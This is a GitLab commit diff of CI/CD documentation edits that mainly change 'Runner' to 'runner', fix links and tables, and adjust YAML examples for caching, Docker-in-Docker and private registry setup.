diff options
| author | GitLab Bot <gitlab-bot@gitlab.com> | 2020-09-19 01:45:44 +0000 |
|---|---|---|
| committer | GitLab Bot <gitlab-bot@gitlab.com> | 2020-09-19 01:45:44 +0000 |
| commit | 85dc423f7090da0a52c73eb66faf22ddb20efff9 (patch) | |
| tree | 9160f299afd8c80c038f08e1545be119f5e3f1e1 /doc/ci | |
| parent | 15c2c8c66dbe422588e5411eee7e68f1fa440bb8 (diff) | |
| download | gitlab-ce-85dc423f7090da0a52c73eb66faf22ddb20efff9.tar.gz | |
Add latest changes from gitlab-org/gitlab@13-4-stable-ee
Diffstat (limited to 'doc/ci')
59 files changed, 1843 insertions, 1129 deletions
diff --git a/doc/ci/README.md b/doc/ci/README.md index 6f15fa52550..9d3f7f2a8f2 100644 --- a/doc/ci/README.md +++ b/doc/ci/README.md @@ -80,36 +80,37 @@ Once you're familiar with how GitLab CI/CD works, see the for all the attributes you can set and use. NOTE: **Note:** -GitLab CI/CD and [shared runners](runners/README.md#shared-runners) are enabled in GitLab.com and available for all users, limited only to the [user's pipelines quota](../user/gitlab_com/index.md#shared-runners). +GitLab CI/CD and [shared runners](runners/README.md#shared-runners) are enabled on GitLab.com and available for all users, limited only by the [pipeline quota](../user/gitlab_com/index.md#shared-runners). ## Concepts GitLab CI/CD uses a number of concepts to describe and run your build and deploy. -| Concept | Description | -|:--------------|:-------------| -| [Pipelines](pipelines/index.md) | Structure your CI/CD process through pipelines. | -| [Environment variables](variables/README.md) | Reuse values based on a variable/value key pair. | -| [Environments](environments/index.md) | Deploy your application to different environments (e.g., staging, production). | -| [Job artifacts](pipelines/job_artifacts.md) | Output, use, and reuse job artifacts. | -| [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. | -| [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own GitLab Runners to execute your scripts. | +| Concept | Description | +|:--------------------------------------------------------|:-------------------------------------------------------------------------------| +| [Pipelines](pipelines/index.md) | Structure your CI/CD process through pipelines. | +| [Environment variables](variables/README.md) | Reuse values based on a variable/value key pair. | +| [Environments](environments/index.md) | Deploy your application to different environments (e.g., staging, production). | +| [Job artifacts](pipelines/job_artifacts.md) | Output, use, and reuse job artifacts. | +| [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. | +| [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. | +| [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and effienctly. | ## Configuration GitLab CI/CD supports numerous configuration options: -| Configuration | Description | -|:--------------|:-------------| -| [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. | -| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-ci-configuration-path) | Define a custom path for the CI/CD configuration file. | -| [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules.| -| [SSH keys for CI/CD](ssh_keys/README.md) | Using SSH keys in your CI pipelines. | -| [Pipeline triggers](triggers/README.md) | Trigger pipelines through the API. | -| [Pipelines for Merge Requests](merge_request_pipelines/index.md) | Design a pipeline structure for running a pipeline in merge requests. | -| [Integrate with Kubernetes clusters](../user/project/clusters/index.md) | Connect your project to Google Kubernetes Engine (GKE) or an existing Kubernetes cluster. | -| [Optimize GitLab and Runner for large repositories](large_repositories/index.md) | Recommended strategies for handling large repositories. | -| [`.gitlab-ci.yml` full reference](yaml/README.md) | All the attributes you can use with GitLab CI/CD. | +| Configuration | Description | +|:----------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------| +| [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. | +| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-ci-configuration-path) | Define a custom path for the CI/CD configuration file. | +| [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules. | +| [SSH keys for CI/CD](ssh_keys/README.md) | Using SSH keys in your CI pipelines. | +| [Pipeline triggers](triggers/README.md) | Trigger pipelines through the API. | +| [Pipelines for Merge Requests](merge_request_pipelines/index.md) | Design a pipeline structure for running a pipeline in merge requests. | +| [Integrate with Kubernetes clusters](../user/project/clusters/index.md) | Connect your project to Google Kubernetes Engine (GKE) or an existing Kubernetes cluster. | +| [Optimize GitLab and GitLab Runner for large repositories](large_repositories/index.md) | Recommended strategies for handling large repositories. | +| [`.gitlab-ci.yml` full reference](yaml/README.md) | All the attributes you can use with GitLab CI/CD. | Note that certain operations can only be performed according to the [user](../user/permissions.md#gitlab-cicd-permissions) and [job](../user/permissions.md#job-permissions) permissions. @@ -132,7 +133,7 @@ Its feature set is listed on the table below according to DevOps stages. | [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. | | [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. | | [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. | -| [JUnit tests](junit_test_reports.md) | Identify script failures directly on merge requests. | +| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. | | [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. | |---+---| | **Release** || @@ -191,41 +192,25 @@ been necessary. These are: #### 13.0 -- [Remove Backported - `os.Expand`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4915) -- [Remove Fedora 29 package - support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/16158) -- [Remove macOS 32-bit - support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25466) -- [Removed `debug/jobs/list?v=1` - endpoint](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6361) -- [Remove support for array of strings when defining services for Docker - executor](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4922) -- [Remove `--docker-services` flag on register - command](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6404) -- [Remove legacy build directory - caching](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4180) -- [Remove `FF_USE_LEGACY_VOLUMES_MOUNTING_ORDER` feature - flag](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6581) -- [Remove support for Windows Server - 1803](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6553) +- [Remove Backported `os.Expand`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4915). +- [Remove Fedora 29 package support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/16158). +- [Remove macOS 32-bit support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25466). +- [Removed `debug/jobs/list?v=1` endpoint](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6361). +- [Remove support for array of strings when defining services for Docker executor](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4922). +- [Remove `--docker-services` flag on register command](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6404). +- [Remove legacy build directory caching](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4180). +- [Remove `FF_USE_LEGACY_VOLUMES_MOUNTING_ORDER` feature flag](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6581). +- [Remove support for Windows Server 1803](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6553). #### 12.0 -- [Use refspec to clone/fetch Git - repository](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4069). -- [Old cache - configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4070). -- [Old metrics server - configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4072). -- [Remove - `FF_K8S_USE_ENTRYPOINT_OVER_COMMAND`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4073). -- [Remove Linux distributions that reach - EOL](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1130). -- [Update command line API for helper - images](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4013). -- [Remove old `git clean` - flow](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4175). +- [Use refspec to clone/fetch Git repository](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4069). +- [Old cache configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4070). +- [Old metrics server configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4072). +- [Remove `FF_K8S_USE_ENTRYPOINT_OVER_COMMAND`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4073). +- [Remove Linux distributions that reach EOL](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1130). +- [Update command line API for helper images](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4013). +- [Remove old `git clean` flow](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4175). #### 11.0 diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md index b6bd01ecf58..50f7d5252d8 100644 --- a/doc/ci/caching/index.md +++ b/doc/ci/caching/index.md @@ -60,7 +60,7 @@ Caches: - Are disabled if not defined globally or per job (using `cache:`). - Are available for all jobs in your `.gitlab-ci.yml` if enabled globally. - Can be used in subsequent pipelines by the same job in which the cache was created (if not defined globally). -- Are stored where the Runner is installed **and** uploaded to S3 if [distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching). +- Are stored where GitLab Runner is installed **and** uploaded to S3 if [distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching). - If defined per job, are used: - By the same job in a subsequent pipeline. - By subsequent jobs in the same pipeline, if they have identical dependencies. @@ -80,33 +80,33 @@ can't link to files outside it. ## Good caching practices We have the cache from the perspective of the developers (who consume a cache -within the job) and the cache from the perspective of the Runner. Depending on -which type of Runner you are using, cache can act differently. +within the job) and the cache from the perspective of the runner. Depending on +which type of runner you are using, cache can act differently. From the perspective of the developer, to ensure maximum availability of the cache, when declaring `cache` in your jobs, use one or a mix of the following: -- [Tag your Runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs +- [Tag your runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs that share their cache. -- [Use sticky Runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) +- [Use sticky runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) that will be only available to a particular project. - [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example, different caches on each branch). For that, you can take advantage of the [CI/CD predefined variables](../variables/README.md#predefined-environment-variables). TIP: **Tip:** -Using the same Runner for your pipeline, is the most simple and efficient way to +Using the same runner for your pipeline, is the most simple and efficient way to cache files in one stage or pipeline, and pass this cache to subsequent stages or pipelines in a guaranteed manner. -From the perspective of the Runner, in order for cache to work effectively, one +From the perspective of the runner, in order for cache to work effectively, one of the following must be true: -- Use a single Runner for all your jobs. -- Use multiple Runners (in autoscale mode or not) that use +- Use a single runner for all your jobs. +- Use multiple runners (in autoscale mode or not) that use [distributed caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching), - where the cache is stored in S3 buckets (like shared Runners on GitLab.com). -- Use multiple Runners (not in autoscale mode) of the same architecture that + where the cache is stored in S3 buckets (like shared runners on GitLab.com). +- Use multiple runners (not in autoscale mode) of the same architecture that share a common network-mounted directory (using NFS or something similar) where the cache will be stored. @@ -179,12 +179,12 @@ You can override cache settings without overwriting the global cache by using ```yaml cache: &global_cache - key: ${CI_COMMIT_REF_SLUG} - paths: - - node_modules/ - - public/ - - vendor/ - policy: pull-push + key: ${CI_COMMIT_REF_SLUG} + paths: + - node_modules/ + - public/ + - vendor/ + policy: pull-push job: cache: @@ -281,7 +281,7 @@ image: python:latest # Change pip's cache directory to be inside the project directory since we can # only cache local items. variables: - PIP_CACHE_DIR: "$CI_PROJECT_DIR/.cache/pip" + PIP_CACHE_DIR: "$CI_PROJECT_DIR/.cache/pip" # Pip's cache doesn't store the python packages # https://pip.pypa.io/en/stable/reference/pip_install/#caching @@ -364,27 +364,27 @@ be prepared to regenerate any cached files in each job that needs them. Assuming you have properly [defined `cache` in `.gitlab-ci.yml`](../yaml/README.md#cache) according to your workflow, the availability of the cache ultimately depends on -how the Runner has been configured (the executor type and whether different -Runners are used for passing the cache between jobs). +how the runner has been configured (the executor type and whether different +runners are used for passing the cache between jobs). ### Where the caches are stored -Since the Runner is the one responsible for storing the cache, it's essential +Since the runner is the one responsible for storing the cache, it's essential to know **where** it's stored. All the cache paths defined under a job in `.gitlab-ci.yml` are archived in a single `cache.zip` file and stored in the -Runner's configured cache location. By default, they are stored locally in the -machine where the Runner is installed and depends on the type of the executor. +runner's configured cache location. By default, they are stored locally in the +machine where the runner is installed and depends on the type of the executor. | GitLab Runner executor | Default path of the cache | | ---------------------- | ------------------------- | | [Shell](https://docs.gitlab.com/runner/executors/shell.html) | Locally, stored under the `gitlab-runner` user's home directory: `/home/gitlab-runner/cache/<user>/<project>/<cache-key>/cache.zip`. | | [Docker](https://docs.gitlab.com/runner/executors/docker.html) | Locally, stored under [Docker volumes](https://docs.gitlab.com/runner/executors/docker.html#the-builds-and-cache-storage): `/var/lib/docker/volumes/<volume-id>/_data/<user>/<project>/<cache-key>/cache.zip`. | -| [Docker machine](https://docs.gitlab.com/runner/executors/docker_machine.html) (autoscale Runners) | Behaves the same as the Docker executor. | +| [Docker machine](https://docs.gitlab.com/runner/executors/docker_machine.html) (autoscale runners) | Behaves the same as the Docker executor. | ### How archiving and extracting works In the most simple scenario, consider that you use only one machine where the -Runner is installed, and all jobs of your project run on the same host. +runner is installed, and all jobs of your project run on the same host. Let's see the following example of two jobs that belong to two consecutive stages: @@ -426,17 +426,17 @@ Here's what happens behind the scenes: 1. `after_script` is executed. 1. `cache` runs and the `vendor/` directory is zipped into `cache.zip`. This file is then saved in the directory based on the - [Runner's setting](#where-the-caches-are-stored) and the `cache: key`. + [runner's setting](#where-the-caches-are-stored) and the `cache: key`. 1. `job B` runs. 1. The cache is extracted (if found). 1. `before_script` is executed. 1. `script` is executed. 1. Pipeline finishes. -By using a single Runner on a single machine, you'll not have the issue where -`job B` might execute on a Runner different from `job A`, thus guaranteeing the +By using a single runner on a single machine, you'll not have the issue where +`job B` might execute on a runner different from `job A`, thus guaranteeing the cache between stages. That will only work if the build goes from stage `build` -to `test` in the same Runner/machine, otherwise, you [might not have the cache +to `test` in the same runner/machine, otherwise, you [might not have the cache available](#cache-mismatch). During the caching process, there's also a couple of things to consider: @@ -448,13 +448,13 @@ During the caching process, there's also a couple of things to consider: their cache. - When extracting the cache from `cache.zip`, everything in the zip file is extracted in the job's working directory (usually the repository which is - pulled down), and the Runner doesn't mind if the archive of `job A` overwrites + pulled down), and the runner doesn't mind if the archive of `job A` overwrites things in the archive of `job B`. -The reason why it works this way is because the cache created for one Runner +The reason why it works this way is because the cache created for one runner often will not be valid when used by a different one which can run on a **different architecture** (e.g., when the cache includes binary files). And -since the different steps might be executed by Runners running on different +since the different steps might be executed by runners running on different machines, it is a safe default. ### Cache mismatch @@ -464,17 +464,17 @@ mismatch and a few ideas how to fix it. | Reason of a cache mismatch | How to fix it | | -------------------------- | ------------- | -| You use multiple standalone Runners (not in autoscale mode) attached to one project without a shared cache | Use only one Runner for your project or use multiple Runners with distributed cache enabled | -| You use Runners in autoscale mode without a distributed cache enabled | Configure the autoscale Runner to use a distributed cache | -| The machine the Runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. Currently, there's no automatic way to do this. | +| You use multiple standalone runners (not in autoscale mode) attached to one project without a shared cache | Use only one runner for your project or use multiple runners with distributed cache enabled | +| You use runners in autoscale mode without a distributed cache enabled | Configure the autoscale runner to use a distributed cache | +| The machine the runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. Currently, there's no automatic way to do this. | | You use the same `key` for jobs where they cache different paths. | Use different cache keys to that the cache archive is stored to a different location and doesn't overwrite wrong caches. | Let's explore some examples. #### Examples -Let's assume you have only one Runner assigned to your project, so the cache -will be stored in the Runner's machine by default. If two jobs, A and B, +Let's assume you have only one runner assigned to your project, so the cache +will be stored in the runner's machine by default. If two jobs, A and B, have the same cache key, but they cache different paths, cache B would overwrite cache A, even if their `paths` don't match: @@ -513,7 +513,7 @@ job B: To fix that, use different `keys` for each job. -In another case, let's assume you have more than one Runners assigned to your +In another case, let's assume you have more than one runner assigned to your project, but the distributed cache is not enabled. The second time the pipeline is run, we want `job A` and `job B` to re-use their cache (which in this case will be different): @@ -542,11 +542,11 @@ job B: In that case, even if the `key` is different (no fear of overwriting), you might experience that the cached files "get cleaned" before each stage if the -jobs run on different Runners in the subsequent pipelines. +jobs run on different runners in the subsequent pipelines. ## Clearing the cache -GitLab Runners use [cache](../yaml/README.md#cache) to speed up the execution +Runners use [cache](../yaml/README.md#cache) to speed up the execution of your jobs by reusing existing data. This however, can sometimes lead to an inconsistent behavior. @@ -565,9 +565,9 @@ If you want to avoid editing `.gitlab-ci.yml`, you can easily clear the cache via GitLab's UI: 1. Navigate to your project's **CI/CD > Pipelines** page. -1. Click on the **Clear Runner caches** button to clean up the cache. +1. Click on the **Clear runner caches** button to clean up the cache. -  +  1. On the next push, your CI/CD job will use a new cache. diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md index ba801950c40..74c48f087b2 100644 --- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md +++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md @@ -19,7 +19,7 @@ To use GitLab CI/CD with a Bitbucket Cloud repository:  - GitLab will import the repository and enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter). + GitLab will import the repository and enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository). 1. In GitLab create a [Personal Access Token](../../user/profile/personal_access_tokens.md) diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md index dc1135742ea..661d935fc1d 100644 --- a/doc/ci/ci_cd_for_external_repos/github_integration.md +++ b/doc/ci/ci_cd_for_external_repos/github_integration.md @@ -47,7 +47,7 @@ repositories: GitLab will: 1. Import the project. -1. Enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter) +1. Enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) 1. Enable [GitHub project integration](../../user/project/integrations/github.md) 1. Create a web hook on GitHub to notify GitLab of new commits. @@ -85,7 +85,7 @@ To manually enable GitLab CI/CD for your repository: new commits. The web hook URL should be set to the GitLab API to - [trigger pull mirroring](../../api/projects.md#start-the-pull-mirroring-process-for-a-project-starter), + [trigger pull mirroring](../../api/projects.md#start-the-pull-mirroring-process-for-a-project), using the GitLab personal access token we just created: ```plaintext diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md index 355bc7813d9..6fa0e6d9475 100644 --- a/doc/ci/cloud_deployment/index.md +++ b/doc/ci/cloud_deployment/index.md @@ -56,7 +56,7 @@ Some credentials are required to be able to run `aws` commands: ```yaml deploy: stage: deploy - image: registry.gitlab.com/gitlab-org/cloud-deploy/aws-base:latest # see the note below + image: registry.gitlab.com/gitlab-org/cloud-deploy/aws-base:latest # see the note below script: - aws s3 ... - aws create-deployment ... diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md index 8fc58df51fe..19da0496f8a 100644 --- a/doc/ci/directed_acyclic_graph/index.md +++ b/doc/ci/directed_acyclic_graph/index.md @@ -86,7 +86,7 @@ are certain use cases that you may need to work around. For more information: > - It became [enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36802) in 13.2. > - It became a [standard feature](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38517) in 13.3. > - It's enabled on GitLab.com. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-dag-visualization-core-only). +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-dag-visualization). The DAG visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph will display all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view. @@ -106,5 +106,5 @@ can opt to disable it for your instance: # Instance-wide Feature.disable(:dag_pipeline_tab) # or by project -Feature.disable(:dag_pipeline_tab, Project.find(<project id>)) +Feature.disable(:dag_pipeline_tab, Project.find(<project ID>)) ``` diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index 88d6dc3aae4..045fcd39c4d 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -35,12 +35,12 @@ There are three methods to enable the use of `docker build` and `docker run` during jobs, each with their own tradeoffs. An alternative to using `docker build` is to [use kaniko](using_kaniko.md). -This avoids having to execute Runner in privileged mode. +This avoids having to execute a runner in privileged mode. TIP: **Tip:** -To see how Docker and Runner are configured for shared Runners on -GitLab.com, see [GitLab.com Shared -Runners](../../user/gitlab_com/index.md#shared-runners). +To see how Docker and GitLab Runner are configured for shared runners on +GitLab.com, see [GitLab.com shared +runners](../../user/gitlab_com/index.md#shared-runners). ### Use shell executor @@ -123,7 +123,7 @@ not without its own challenges: - By default, Docker 17.09 and higher uses `--storage-driver overlay2` which is the recommended storage driver. See [Using the overlayfs driver](#use-the-overlayfs-driver) for details. -- Since the `docker:19.03.12-dind` container and the Runner container don't share their +- Since the `docker:19.03.12-dind` container and the runner container don't share their root file system, the job's working directory can be used as a mount point for child containers. For example, if you have files you want to share with a child container, you may create a subdirectory under `/builds/$CI_PROJECT_PATH` @@ -160,7 +160,7 @@ details. The Docker daemon supports connection over TLS and it's done by default for Docker 19.03.12 or higher. This is the **suggested** way to use the Docker-in-Docker service and -[GitLab.com Shared Runners](../../user/gitlab_com/index.md#shared-runners) +[GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners) support this. 1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). @@ -179,7 +179,7 @@ support this. --docker-volumes "/certs/client" ``` - The above command registers a new Runner to use the special + The above command registers a new runner to use the special `docker:19.03.12` image, which is provided by Docker. **Notice that it's using the `privileged` mode to start the build and service containers.** If you want to use [Docker-in-Docker](https://www.docker.com/blog/docker-can-now-run-within-docker/) mode, you always @@ -255,7 +255,7 @@ Sometimes there are legitimate reasons why you might want to disable TLS. For example, you have no control over the GitLab Runner configuration that you are using. -Assuming that the Runner `config.toml` is similar to: +Assuming that the runner's `config.toml` is similar to: ```toml [[runners]] @@ -337,10 +337,10 @@ In order to do that, follow the steps: --docker-volumes /var/run/docker.sock:/var/run/docker.sock ``` - The above command registers a new Runner to use the special + The above command registers a new runner to use the special `docker:19.03.12` image which is provided by Docker. **Notice that it's using - the Docker daemon of the Runner itself, and any containers spawned by Docker - commands are siblings of the Runner rather than children of the Runner.** + the Docker daemon of the runner itself, and any containers spawned by Docker + commands are siblings of the runner rather than children of the runner.** This may have complications and limitations that are unsuitable for your workflow. The above command creates a `config.toml` entry similar to this: @@ -454,7 +454,7 @@ The steps in the `script` section for the `build` stage can be summed up to: ## Use the OverlayFS driver NOTE: **Note:** -The shared Runners on GitLab.com use the `overlay2` driver by default. +The shared runners on GitLab.com use the `overlay2` driver by default. By default, when using `docker:dind`, Docker uses the `vfs` storage driver which copies the filesystem on every run. This is a disk-intensive operation @@ -504,10 +504,10 @@ environment variable in the environment = ["DOCKER_DRIVER=overlay2"] ``` -If you're running multiple Runners, you have to modify all configuration files. +If you're running multiple runners, you have to modify all configuration files. NOTE: **Note:** -Read more about the [Runner configuration](https://docs.gitlab.com/runner/configuration/) +Read more about the [runner configuration](https://docs.gitlab.com/runner/configuration/) and [using the OverlayFS storage driver](https://docs.docker.com/engine/userguide/storagedriver/overlayfs-driver/). ## Using the GitLab Container Registry diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md index db39532bbf2..0fcd95c41ed 100644 --- a/doc/ci/docker/using_docker_images.md +++ b/doc/ci/docker/using_docker_images.md @@ -26,7 +26,7 @@ test them on a dedicated CI server. ## Register Docker Runner -To use GitLab Runner with Docker you need to [register a new Runner](https://docs.gitlab.com/runner/register/) +To use GitLab Runner with Docker you need to [register a new runner](https://docs.gitlab.com/runner/register/) to use the `docker` executor. An example can be seen below. First we set up a temporary template to supply the services: @@ -112,7 +112,7 @@ It may be a database like MySQL, or Redis, and even `docker:stable-dind` which allows you to use Docker in Docker. It can be practically anything that's required for the CI/CD job to proceed and is accessed by network. -To make sure this works, the Runner: +To make sure this works, the runner: 1. Checks which ports are exposed from the container by default. 1. Starts a special container that waits for these ports to be accessible. @@ -382,7 +382,7 @@ services: - mysql:latest ``` -The Runner would start two containers using the `mysql:latest` image, but both +The runner would start two containers using the `mysql:latest` image, but both of them would be added to the job's container with the `mysql` alias based on the [default hostname naming](#accessing-the-services). This would end with one of the services not being accessible. @@ -398,7 +398,7 @@ services: alias: mysql-2 ``` -The Runner still starts two containers using the `mysql:latest` image, +The runner still starts two containers using the `mysql:latest` image, however now each of them are also accessible with the alias configured in `.gitlab-ci.yml` file. @@ -448,23 +448,23 @@ As you can see, the syntax of `command` is similar to [Dockerfile's `CMD`](https > Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](#extended-docker-configuration-options). Before showing the available entrypoint override methods, let's describe shortly -how the Runner starts and uses a Docker image for the containers used in the +how the runner starts and uses a Docker image for the containers used in the CI jobs: -1. The Runner starts a Docker container using the defined entrypoint (default +1. The runner starts a Docker container using the defined entrypoint (default from `Dockerfile` that may be overridden in `.gitlab-ci.yml`) -1. The Runner attaches itself to a running container. -1. The Runner prepares a script (the combination of +1. The runner attaches itself to a running container. +1. The runner prepares a script (the combination of [`before_script`](../yaml/README.md#before_script-and-after_script), [`script`](../yaml/README.md#script), and [`after_script`](../yaml/README.md#before_script-and-after_script)). -1. The Runner sends the script to the container's shell STDIN and receives the +1. The runner sends the script to the container's shell STDIN and receives the output. To override the entrypoint of a Docker image, the recommended solution is to -define an empty `entrypoint` in `.gitlab-ci.yml`, so the Runner does not start +define an empty `entrypoint` in `.gitlab-ci.yml`, so the runner does not start a useless shell layer. However, that does not work for all Docker versions, and -you should check which one your Runner is using. Specifically: +you should check which one your runner is using. Specifically: - If Docker 17.06 or later is used, the `entrypoint` can be set to an empty value. - If Docker 17.03 or previous versions are used, the `entrypoint` can be set to @@ -477,7 +477,7 @@ inside it and you would like to use it as a base image for your job because you want to execute some tests with this database binary. Let's also assume that this image is configured with `/usr/bin/super-sql run` as an entrypoint. That means that when starting the container without additional options, it runs -the database's process, while Runner expects that the image has no +the database's process, while the runner expects that the image has no entrypoint or that the entrypoint is prepared to start a shell command. With the extended Docker configuration options, instead of creating your @@ -527,7 +527,7 @@ To define which should be used, the GitLab Runner process reads the configuratio - `DOCKER_AUTH_CONFIG` variable provided as either: - A [variable](../variables/README.md#gitlab-cicd-environment-variables) in `.gitlab-ci.yml`. - A project's variables stored on the projects **Settings > CI/CD** page. -- `DOCKER_AUTH_CONFIG` variable provided as environment variable in `config.toml` of the Runner. +- `DOCKER_AUTH_CONFIG` variable provided as environment variable in `config.toml` of the runner. - `config.json` file placed in `$HOME/.docker` directory of the user running GitLab Runner process. If the `--user` flag is provided to run the GitLab Runner child processes as unprivileged user, the home directory of the main GitLab Runner process user is used. @@ -543,7 +543,7 @@ runtime. - This feature requires GitLab Runner **1.8** or higher. - For GitLab Runner versions **>= 0.6, <1.8** there was a partial support for using private registries, which required manual configuration - of credentials on runner's host. We recommend to upgrade your Runner to + of credentials on runner's host. We recommend to upgrade your runner to at least version **1.8** if you want to use private registries. - Available for [Kubernetes executor](https://docs.gitlab.com/runner/executors/kubernetes.html) in GitLab Runner 13.1 and later. @@ -556,9 +556,9 @@ private registry. Both require setting the environment variable 1. Per-job: To configure one job to access a private registry, add `DOCKER_AUTH_CONFIG` as a job variable. -1. Per-runner: To configure a Runner so all its jobs can access a +1. Per-runner: To configure a runner so all its jobs can access a private registry, add `DOCKER_AUTH_CONFIG` to the environment in the - Runner's configuration. + runner's configuration. See below for examples of each. @@ -652,12 +652,12 @@ registries to the `"auths"` hash as described above. NOTE: **Note:** The full `hostname:port` combination is required everywhere -for the Runner to match the `DOCKER_AUTH_CONFIG`. For example, if +for the runner to match the `DOCKER_AUTH_CONFIG`. For example, if `registry.example.com:5000/namespace/image:tag` is specified in `.gitlab-ci.yml`, then the `DOCKER_AUTH_CONFIG` must also specify `registry.example.com:5000`. Specifying only `registry.example.com` does not work. -### Configuring a Runner +### Configuring a runner If you have many pipelines that access the same registry, it is probably better to set up registry access at the runner level. This @@ -670,16 +670,16 @@ registry with the same privilege, even across projects. If you need to control access to the registry, you need to be sure to control access to the runner. -To add `DOCKER_AUTH_CONFIG` to a Runner: +To add `DOCKER_AUTH_CONFIG` to a runner: -1. Modify the Runner's `config.toml` file as follows: +1. Modify the runner's `config.toml` file as follows: ```toml [[runners]] environment = ["DOCKER_AUTH_CONFIG={\"auths\":{\"registry.example.com:5000\":{\"auth\":\"bXlfdXNlcm5hbWU6bXlfcGFzc3dvcmQ=\"}}}"] ``` -1. Restart the Runner service. +1. Restart the runner service. NOTE: **Note:** The double quotes included in the `DOCKER_AUTH_CONFIG` @@ -687,7 +687,7 @@ data must be escaped with backslashes. This prevents them from being interpreted as TOML. NOTE: **Note:** -The `environment` option is a list. So your Runner may +The `environment` option is a list. So your runner may have existing entries and you should add this to the list, not replace it. @@ -713,7 +713,7 @@ To configure credentials store, follow these steps: } ``` - - Or, if you're running self-managed Runners, add the above JSON to + - Or, if you're running self-managed runners, add the above JSON to 